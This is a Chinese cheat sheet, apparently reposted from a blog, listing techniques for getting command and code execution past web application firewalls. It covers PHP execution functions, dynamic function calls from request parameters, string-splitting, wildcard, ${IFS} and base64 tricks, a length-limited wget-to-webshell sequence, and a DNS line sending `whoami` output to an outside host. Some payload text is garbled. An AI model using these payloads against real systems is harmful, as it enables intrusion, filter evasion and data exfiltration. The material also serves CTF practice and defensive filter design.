[web安全]命令执行&&代码执行 wafpass总结

命令执行&&代码执行 wafpass总结

代码执行

  1. php常见命令执行函数

     php代码 eval() assert() preg_replace call_user_func() call_user_func_array() create_function array_map() 系统命令代码 system() passthru() exec() pcntl_exec()shell_exec() popen() proc_open()    ``    ob_start()

  2. php的动态执行

    cmd=$_GET[func]($_GET[shell])&func=system&shell=cat flag$e='sys'.'tem';$e('cat flag');

  3. disable_function绕过

    1.ld_preload2.php_gc

  4. 无字母getshell

    取反~?code=(~�������)()//phpinfo()

  5. 限制输入字符数

    >wget\>域名.\>com\>-O\>she\>ll.p\>pls -t>ash a

命令执行

  • linux中有查看功能的命令

    cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev、vi、vim、od(以二进制的方式读取档案内容)

  • windows

    1. windows下 “和^和()不会影响命令执行2.切割字符 %a:~0,3% 代表变量a 0-3个字符eg.  set a=asdfghj who$a:~0,1%mi <=> whoami

  • 通配符

    linux windows常见：* :0-多 ? :1[abc] :abc [a-c] :abc[^abc]:没有abc来了：cat f[abc]lagcat f[a-z]lagcat fla*

  • 字符拼接

    双引号："w"h"o"a"m"i       linux windows单引号: 'w'ho'am'ilinux反斜杠\: who\ami cat\flag linux重定向: cat<>flag cat<flag linux大括号: {cat,flag}linux变量:a=l;b=s;$a$b; linux变量:set a=di&&set b=r&& %a%%b% windows骚操作: 1.666`whoami`666  => bash: 666root666：未找到命令2.who`asd`am`sss`i => bash: ssd：未找到命令bash: sss：未找到命令root

  • 变量

    保留变量名 无意义变量$ 123456789${IFS} ${IFS}$9 cat${IFS}flaglinux

  • 编码

    echo d2hvYW1pCg== | base64 -d //执行whoami  -d 意思是decode  linuxwindows可以使用powershell base64

  • &,&&,|,||在windows和linux中的区别

    &linux:后台运行 windows: 1 2 同时执行1&&2linux windows:1无错误运行2|linux windows:上一条命令的输出，作为下一条命令参数(输入)1||2linux windows:1有错误运行2

  • 一句话反弹shel

    linux各种一句话反弹shell总结

    Windows下反弹shell的方法

  • DNS

    curl xxxx.ceye.io/`whoami`

  • 借他文之手来获取字符

    借助已有的字符进行拼接

  • 利用Linux的环境变量

    echo ${PATH}   => /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binecho ${PATH:1:1} =>u

来源：https://www.icode9.com/content-4-807451.html

赞 (0)

相关推荐